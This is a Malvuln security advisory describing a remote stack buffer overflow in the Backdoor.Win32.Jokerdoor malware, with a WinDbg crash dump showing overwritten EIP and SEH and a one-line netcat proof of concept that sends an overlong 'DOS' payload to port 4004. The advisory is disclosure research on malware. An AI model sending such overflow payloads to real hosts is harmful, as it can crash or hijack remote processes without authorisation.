Backdoor.Win32.Jokerdoor malware suffers from a buffer overflow vulnerability.
3ffcb769f23e171e28db37b298dc14edDiscovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/0fca0250fa3fe8ee7e1cf0cc45a6b2d8.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Jokerdoor
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 4004 and drops an randomly named executables E.g. acrorqwjlle.exe etc. Third party attackers who can reach an infected system can send a junk payload and trigger a classic stack buffer overflow overwriting the ECX, EIP registers and structured exception handler (SEH). When connecting you will get a "connected" server response, then we supply our payload as a parameter prefixed by "DOS".
Type: PE32
MD5: 0fca0250fa3fe8ee7e1cf0cc45a6b2d8
Vuln ID: MVID-2021-0434
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 12/31/2021
Memory Dump:
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1600 ebp=000a1620 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1600 ebp=000a1620 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:000> !analzye -v
No export analzye found
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for acrorqwjlle.exe
*** ERROR: Module load completed but symbols could not be loaded for acrorqwjlle.exe
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
+26
41414141 ?? ???
EXCEPTION_RECORD: 0019ee34 -- (.exr 0x19ee34)
ExceptionAddress: 41414141
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141
PROCESS_NAME: acrorqwjlle.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000008
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
+26
41414141 ?? ???
FAILED_INSTRUCTION_ADDRESS:
+26
41414141 ?? ???
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
CONTEXT: 0019ee84 -- (.cxr 0x19ee84)
eax=00010000 ebx=04393c0c ecx=7673eb0d edx=00000000 esi=003603d8 edi=025d0d17
eip=41414141 esp=0019f2e4 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
41414141 ?? ???
Resetting default scope
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
LAST_CONTROL_TRANSFER: from 41414141 to 41414141
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_STACKIMMUNE
DEFAULT_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE
FRAME_ONE_INVALID: 1
STACK_TEXT:
00000000 00000000 acrorqwjlle.exe+0x0
STACK_COMMAND: .cxr 000000000019EE84 ; kb ; ** Pseudo Context ** ; kb
SYMBOL_NAME: acrorqwjlle.exe
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: acrorqwjlle
IMAGE_NAME: acrorqwjlle.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19
FAILURE_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE_c0000005_acrorqwjlle.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_acrorqwjlle.exe
0:000> !exchain
0019ed44: ntdll!ExecuteHandler2+44 (773e9d70)
0019f2e4: 41414141
Invalid exception stack at 41414141
Exploit/PoC:
python -c "print('DOS'+'A'*804)" | nc64.exe MALWARE_HOST 4004
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